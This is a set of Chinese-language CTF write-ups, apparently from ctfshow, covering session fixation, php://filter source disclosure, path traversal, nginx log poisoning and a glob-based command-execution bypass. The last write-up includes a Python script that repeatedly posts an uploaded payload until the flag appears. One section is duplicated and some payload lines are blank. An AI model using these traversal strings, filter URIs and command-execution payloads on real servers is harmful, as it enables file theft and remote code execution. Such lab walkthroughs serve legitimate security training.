Session固定攻击
打开题目发现可以登录,和给管理员发消息,还提示测试账号和flag在管理员页面

先登录上test账号,然后给管理员发消息,这里要直接的session id

在cookie中找到自己的session

给管理员发消息

返回开始界面,刷新得到flag

CTF{ctfshow_session_fixation_is_a_common_web_security_vulnerability}
加载过慢请开启缓存 浏览器默认开启
打开题目发现可以登录,和给管理员发消息,还提示测试账号和flag在管理员页面

先登录上test账号,然后给管理员发消息,这里要直接的session id

在cookie中找到自己的session

给管理员发消息

返回开始界面,刷新得到flag

CTF{ctfshow_session_fixation_is_a_common_web_security_vulnerability}
题目名字叫php://filter读取源码,猜测可能需要php伪协议读取文件源码,尝试输入一个路径看看什么情况

被禁用了,查看一下当前页面的源码看看什么情况
php://filter/convert.base64-encode/resource=index.php

Base64解码后发现这里包含了一个db.php文件

再用同样的方法查看一下db.php文件中有什么

Base64解码后发现flag

CTF{3ecret_passw0rd_here}
题目提示flag为/flag.txt,直接读取发现不让用/或../开头

这里开头随便加个东西不为/或../就行了,然后用../先根目录移动
1/../../../../../../flag.txt

CTF{file_path_bypass_is_fun}
打开题目发现可以输入文件路径

结合题目名字叫日志文件包含,所以先找一下日志文件的路径,在网络响应中发现服务端是nginx

搜索发现nginx服务器一般日志文件路径是/var/log/nginx,这里看看访问日志/var/log/nginx/access.log

发现日志会记录请求头,这里修改User-Agent也会被记录进去,在User-Agent写段命令进去看看网页打开日志文件时会不会执行里面的命令
User-Agent:
响应中出现了当前目录下的文件,说明命令被成功执行,而且根据响应中已经得到了flag的位置直接执行cat命令
User-Agent:

CTF{php_access_l0g_lf1_is_fun}
这道题对比上一道没有回显,尝试重定向写文件结果访问失败。后来找到一个方法
先上传文件(内容:tac /var/www/html/flag.php)上传后会放在一个生成的临时文件中
然后再传参数. /???/????????[@-[],这个会随机对符合要求的文件进行source命令,当读到上传的文件时就会执行tac /var/www/html/flag.php输出flag。传参数可能要重复直到匹配到我们上传的文件,所以可以写一个脚本,这里在网上找了一个脚本来做:
import requests
import time
TARGET_URL = “http://27f8f9b8-dc29-4db9-a38c-0c3f317a49b0.challenge.ctf.show/“
PAYLOAD_FILE_PATH = “payload.txt” # 内容为 tac /var/www/html/flag.php
CHECK_FLAG_STR = “CTF{“
RETRY_INTERVAL = 1 # 重试间隔(秒)
def get_flag():
"""循环发送请求,获取包含CTF{的flag"""
# 1. 初始化文件对象(使用with语句确保文件正确关闭)
try:
file = {"file": open(PAYLOAD_FILE_PATH, "r", encoding="utf-8")}
except FileNotFoundError:
print(f"错误:找不到文件 {PAYLOAD_FILE_PATH},请检查路径!")
return
except Exception as e:
print(f"打开文件失败:{e}")
return
# 2. 构造恶意代码参数(. /???/????????[@-[] 是Linux命令模糊匹配绕过)
data = {"code": ". /???/????????[@-[]"}
# 3. 循环发送请求获取flag
print(f"开始向 {TARGET_URL} 发送请求,等待获取flag...")
try:
while True:
# 发送POST请求(添加超时,避免卡死)
response = requests.post(
TARGET_URL,
files=file,
data=data,
timeout=10,
# 禁用重定向,避免意外跳转
allow_redirects=False
)
# 检查响应中是否包含flag
if CHECK_FLAG_STR in response.text:
# 提取完整flag(从CTF{开始到行尾)
flag_start = response.text.find(CHECK_FLAG_STR)
# 找到flag结束位置(通常是},增强鲁棒性)
flag_end = response.text.find("}", flag_start) + 1
if flag_end > flag_start:
flag = response.text[flag_start:flag_end]
else:
flag = response.text[flag_start:]
print(f"✅ 找到Flag:{flag}")
break
else:
print(f"⏳ 未找到flag,{RETRY_INTERVAL}秒后重试...")
time.sleep(RETRY_INTERVAL)
except requests.exceptions.RequestException as e:
print(f"请求失败:{e}")
finally:
# 确保文件关闭
file["file"].close()
if name == “main“:
get_flag()
运行脚本得到flag
